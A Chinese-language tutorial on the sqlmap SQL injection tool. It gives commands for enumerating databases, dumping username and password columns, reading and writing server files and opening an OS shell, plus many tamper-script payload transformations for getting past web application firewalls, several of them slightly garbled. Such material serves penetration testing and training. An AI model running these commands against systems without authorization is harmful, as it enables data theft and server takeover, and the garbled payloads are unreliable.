SQLMap
SQLMap详解
~1.1什么是sqlmap:
sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。sqlmap采用了以下5种独特的SQL注入技术。
·基于布尔类型的盲注,即可以根据页面判断条件真假的注入
·基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断
·基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
·联合查询注入,在可以使用union的情况下的注入
·堆查询注入,可以同时执行多条语句时的注入
SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用sql注入漏洞进行注入时,使用sqlmap会有意想不到的效果
~1.2sqlmap入门
——1.2.1判断是否存在注入:
python sqlmap.py -u url (当注入的参数为一的时候,url可以不加双引号,当注入点后面的参数大于等于两个时,需要url需要加双引号)
——1.2.2判断文本中的请求是否存在注入:
从文本中加载http请求,sqlmap加油从一个文本文件中获取http请求,这样就可以不设置其他参数(如cookie、post数据等),txt文件中的内容为web数据包,可用抓包根据抓取并保存
用法:python sqlmap.py -r xx.txt (xx.txt为数据包的位置)
——1.2.3查询当前用户下的所有数据库:
python sqlmap.py -u url --dbs
——1.2.4获取数据库中的表名:
python sqlmap.py -u url -D xx --tables (xx为指定的数据库)
——1.2.5获取表中的字段名:
python sqlmap.py -u url -D xx -T yy --columns (xx为数据库,yy为指定的表名)
——1.2.6获取字段内容:
python sqlmap.py -u url -D xx -T yy -C uname,pwd --dump (下载xx数据库里yy表中的uanme和pwd的值)
——1.2.7获取数据库的所有用户:
python sqlmap.py -u url --users
——1.2.7获取数据库的用户的密码:
python sqlmap.py -u url --passwords
——1.2.8获取当前网站数据库的名称:
python sqlmap.py -u url --current-db
——1.2.9获取当前网站数据库的用户名称:
python sqlmap.py -u url --current-user
~1.3sqlmap进阶
——1.3.1--level 5:探测等级
--level 共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的payload,其中5级包含的payload最多,会自动破解出cookie、xff等头部注入,当然,level 5的运行速度也比较慢。这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level2的时候会测试,HTTP User-Agent/Referer头在level3的时候会测试,为保证全面性,建议使用高level值
——1.3.2--is-dba:当前用户是否为管理权限
该命令查看当前账户是否为数据库管理员账户,如果是则返回true。
用法:python sqlmap.py -u --is-dba
——1.3.3--roles:列出数据库管理员角色
该命令用户查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也哭实验-U参数指定想看哪个用户的角色,该命令仅适用于当前数据库是oracle的时候
——1.3.4--referer:http referer头
sqlmap可以在请求中伪造http中的referer,当--level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗
——1.3.5--sql-shell:运行自定义SQL语句
该命令用户执行指定的SQL语句
用法:python sqlmap.py -url --sql-shell (只能使用select语句)
——1.3.6--os-cmd,--os-shell:运行任意操作系统命令
具体操作可以参考: https://xz.aliyun.com/t/7942
——1.3.6--file-read:从数据库服务器中读取文件
该命令用户读取执行文件,当数据库为mysql、postgresql或sqlserver,并且当前用户有权限使用特定函数时,读取的文件可以是文本,也可以是二进制文件
用法:python sqlmap.py -u url --file-read="c:\1.php"
——1.3.7--file-write,--file-dest :把本地的文件上传到目标主机
用法:python sqlmap.py -u url --file-write="c:\1.php" --file-dest="/var/www/xxx”
~1.4sqlmap自带绕过脚本tamper的讲解
●apostrophemask.py
作用:将引号替换为UTF-8,用于过滤单引号。
使用脚本前的语句为:
1 AND'1'='1
使用脚本后,语句为:
1 AND %EF%BC%871%EF%BC%87= %EF%BC%871
· base64encode.py
作用:替换为base64编码。
使用脚本前的语句为:
1' AND SLEEP (5) #
使用脚本后,语句为:
MScgQU5EIFNMRUVQKDUplw==
●multiplespaces.py
作用:围绕SQL关键字添加多个空格。
使用脚本前的语句为:
1 UNION SELECT foobar
使用脚本后,语句为:
1 UNION SELECT foobar
●space2plus.py
作用:用+号替换空格。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语询为:
SELECT + id + FROM + users
●nonrecursivereplacement.py
作用:作为双重查询语句,用双重语句替代预定义的SQL关
弱的自定义过滤器,例如将SELECT替换为空)。
使用脚本前的语句为:
1 UNION SELECT 2-
使用脚本后,语询为:
1 UNIOUNIONN SELESELECTCT 2-
●space2randomblank.py
作用:将空格替换为其他有效字符。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT%0Did%0DFROM%0Ausers
●unionalltounion.py
作用:将UNION ALL SELECT替换为UNION SELECT.
使用脚本前的语句为:
-1 UNION ALL SELECT
使用脚本后,语句为:
-1 UNION SELECT
●securesphere.py
作用:追加特制的字符串。
使用脚本前的语句为:
1 AND 1=1
使用脚本后,语句为:
1 AND 1=1 and'0having' ='Ohaving'
●space2hash.py
作用:将空格替换为#号,并添加一个随机字符串和换行符
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=
●space2mssqlblank.py (mssq|)
作用:将空格替换为其他空符号。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT%0Eid%0DFROM%07users
●space2mssqhash.py
作用:将空格替换为#号,并添加一个换行符。
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语询为:
1 %23%0AAND%23%0A9227=9227
●between.py
作用:用NOT BETWEEN 0 AND替换大于号(>) ,用BETWEEN AND替换等号(=)。
使用脚本前的语句为:
1ANDA>B-
使用脚本后,语句为:
1 AND A NOT BETWEEN 0 AND B-
使用脚本前的语句为:
1 AND A=B-
使用脚本后,语句为:
1 AND A BETWEEN B AND B-
●percentage.py
作用: ASP允许在每个字符前面添加一个%号。
使用脚本前的语句为:
SELECT FIELD FROM TABLE
使用脚本后,语句为:
%S%E% L%E%C%T%F%I%E% L%D% F%R%O%M%T%A% B%L%E
●sp_ password.py
作用:从DBMS日志的自动模糊处理的有效载荷中追加sp_ password.
使用脚本前的语句为:
1 AND 9227=9227-
使用脚本后,语句为:
1 AND 9227=9227
-sp_ password
●charencode.py
作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。
使用脚本前的语句为:
SELECT FIELD FROM%20TABLE
使用脚本后,语句为:
%53%45%4c%45%43%54%20%46%49%45%4c
%44%20%46%52%4f%4d%20%54%41 %42%4c%45
●randomcase.py
作用:随机大小写。
使用脚本前的语句为:
INSERT
使用脚本后,语句为:
InsERt
●charunicodeencode.py
作用:字符串unicode编码。
使用脚本前的语句为:
SELECT FIELD%20FROM TABLE
使用脚本后,语句为:
%u0053%u0045%u004c
%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c
%u0044%u0020 %u0046%u0052%u004f%u004d
%u0020%u0054%u0041 %u0042%u004c%u0045
●space2comment.py
作用:将空格替换为/**/.
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT**/id/**/FROM/**/users
●equaltolike.py
作用:将等号替换为like。
使用脚本前的语句为:
SELECT * FROM users WHERE id=1
使用脚本后,语询为:
SELECT * FROM users WHERE id LIKE 1
●greatest.py
作用:绕过对">"的过滤,用GREATEST替换大于号。
使用脚本前的语询为:
1 ANDA> B
使用脚本后,语句为:
1 AND GREATEST (A, B+1) =A
测试通过的数据库类型和版本:
●MySQL 4、MySQL 5.0和MySQL 5.5
●Oracle 10g
●PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0
●ifnull2ifisnull.py
作用:绕过对IFNULL的过滤,替换类似IFNULL (A, B)为IF (ISNULL(A),B, A)。
使用脚本前的语句为:
IFNULL (1, 2)
使用脚本后,语句为:
IF (ISNULL (1),2, 1)
测试通过的数据库类型和版本为MySQL 5.0和MySQL 5.5。
●modsecurityversioned.py
作用:过滤空格,使用MySQL内联注释的方式(/*! 0000*/)进行注入。
使用脚本前的语句为:
1 AND 2>1-
使用脚本后,语为:
1 /*! 30874AND 2>1*/-
测试通过的数据库类型和版本为MySQL 5.0。
●space2mysqlblank.py
作用:将空格替换为其他空白符号(适用于MySQL) 。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT%A0id%0BFROM%0Cusers
测试通过的数据库类型和版本为MySQL 5.1。
●modsecurityzeroversioned.py
作用:使用MySQL内联注释的方式(/*! 0000*/)进行注入。
使用脚本前的语句为:
1 AND 2>1-
使用脚本后,语句为:
1 /*! 00000AND 2>1*/-
测试通过的数据库类型和版本为MySQL 5.0。
●space2mysqldash.py
作用:将空格替换为
并添加一个换行符。
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1-- %0AAND
●bluecoat.py
作用:在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于号。
使用脚本前的语句为:
SELECT id FROM users where id=1
使用脚本后,语句为:
SELECT%09id FROM%09users WHERE%09id LIKE 1
测试通过的数据库类型和版本为MySQL 5.1和SGOS。
●versionedkeywords.py
作用:注释绕过。
使用脚本前的语句为:
UNION ALL SELECT NULL, NULL, CONCAT (CHAR (58,104, 116,116, 58),IFNULL (CAST (CURRENT USER () AS CHAR),CHAR (32) ) ,CH/**/AR (58,100, 114, 117, 58) ) #
使用脚本后,语句为:/*! UNION**! AL*! SELECT**! NULL*/, /*! NULL*/, CONCAT(CHAR (58,104, 116,116, 58),IFNULL (CAST (CURRENT_ USER () /*!AS**! CHAR*/) ,CHAR (32) ),CHAR (58, 100,114, 117, 58)) #
●halfversionedmorekeywords.py
作用:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释。
使用脚本前的语句为:
value' UNION ALL SELECT CONCAT (CHAR (58,107, 112, 113,58),IFNULL (CAST (CURRENT_ USER () AS CHAR),CHAR (32) ),CHAR(58, 97,110,121,58) ),NULL, NULL# AND 'QDWa'= 'QDWa
使用脚本后,语句为:
value'/*! 0UNION/*! 0ALL/*! OSELECT/*! OCONCAT (/*! 0CHAR(58,107, 112, 113, 58) , /*! OIFN ULL (CAST (/*! 0CURRENT USER () /! 0AS/*! 0CHAR) , /*! 0CHAR (32) ),/*! 0CHAR (58,97,110,121, 58) ) , /*! ONULL, /*! 0NULL#/*! 0AND'QDWa' ='QDWa
测试通过的数据库类型和版本为MySQL 4.0.18和MySQL 5.0.22。
●space2morehash.py
作用:将空格替换为#号, 并添加一个随机字符串和换行符。
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227
测试通过的数据库类型和版本为MySQL 5.1.41.
●apostrophenullencode.py
作用:用非法双字节unicode字符替换单引号。
使用脚本前的语句为:
1 AND'1'='1
使用脚本后,语句为:
1 AND %00%271%00%27= %00%271
●appendnullyte.py
作用:在有效负荷的结束位置加载零字节字符编码。
使用脚本前的语句为:
1 AND 1=1
使用脚本后,语句为:
1 AND 1=1%00
●chardoubleencode.py
作用:对给定的Payload全部字符使用双重URL编码(不处理已经编码的字符)。
使用脚本前的语句为:
SELECT FIELD FROM%20TABLE
使用脚本后,语句为:
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%25 4f%254d%2520%2554%2541 %2542%254c%2545
●unmagicquotes.py
作用:用一个多字节组合(%bf%27) 和末尾通用注释起替换空格。
使用脚本前的语句为:
1' AND 1=1
使用脚本后,语句为:
1%bf%27-
●randomcomments.py
作用:用/**/分割SQL关键字。
使用脚本前的语句为:
INSERT
使用脚本后,语句为:
IN/**/S/**/ERT
虽然SQLMap自带的tamper可以做很多事情,但在实际环境中,往往比较复
杂,可能会遇到很多情况,tamper不可能很全面地应对各种环境,所以建议读者在学
习如何使用自带的tamper的同时,最好能够掌握tamper的编写规则,这样在应对各种
实战环境时才能更自如。
~1.4补充一些参数
sqlmap.py -h 查看帮助
--privileges 列出数据库管理员权限
--schema 列举数据库系统的架构
--batch 忽略提示,默认yes
--exclude-sysdbs 去除自带的数据库
-v 显示调式信息(有七个等级):
0:只显示python错误以及严重的信息
1:同时显示基本信息和警告信息(默认)
2:同时显示debug信息
3:同时显示注入的payload
4:同时显示http请求
5:同时显示http响应头
6:同时显示http响应页面
-m:从文本中获取多个扫描目标,sqlmap会逐个监测
-g:sqlmap可以测试注入Google的搜索结果中的GET参数,比如 python.py sqlmap.py -g "inurl:php?id="
--data:此参数是把数据以post方式提交,sqlmap会像检测get一样测试post参数
--param-del:参数拆分字符,当GET或POST的数据需要使用其他字符分割测试参数的时候需要用到此参数,比如 python sqlmap.py -u "xxx" --data"a=1;b=2" --param-del=";"
--cookie:将参数加入cookie注入测试,比如测试后台的某个页面可能需要cookie
--headers:可以通过--headers参数来增加额外的http头,如 --headers "client-ip:xx"
--proxy:代理,格式为:http://url:port
--delay:设定两个http请求间的延迟
--timeout:设定一各http请求超过多久判定为超时
--retries:当http超时时,可以设定重新尝试连接次数,默认是3次
-p:指定设置成想要测试的参数
有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行
例如:$query="select *from users where id=('".$_GET['id']."');
这时就需要prefix和suffix参数了
如:python sqlmap.py -u "xx" -p id --prefix "')" --suffix "and ('abc'='abc"
这样sql变成:select *from users where id=('1') <payload> and ('abc'='abc');
--technique:可以指定sqlmap使用的探测技术,默认情况会使用所以的方式 --tech=UE
支持的探测方式如下:
B:布尔型注入
E:报错型注入
U:可联合查询注入
S:可多语句查询注入
T:基于时间延迟注入
--search:可以用来寻找特定的数据库名
--flush-session:清除session
--common-tables 当使用--tables无法获取表名时,可以使用此参数
通常是如下情况:
1.mysql数据库版本小于5.0,没有information_schema表
2.数据库是Microsoft Access,系统表MSysObjects是不可读的
3.当前用户没有权限读取系统中保存数据结构的表的权限
--sql-query="select @@version" 执行sql语句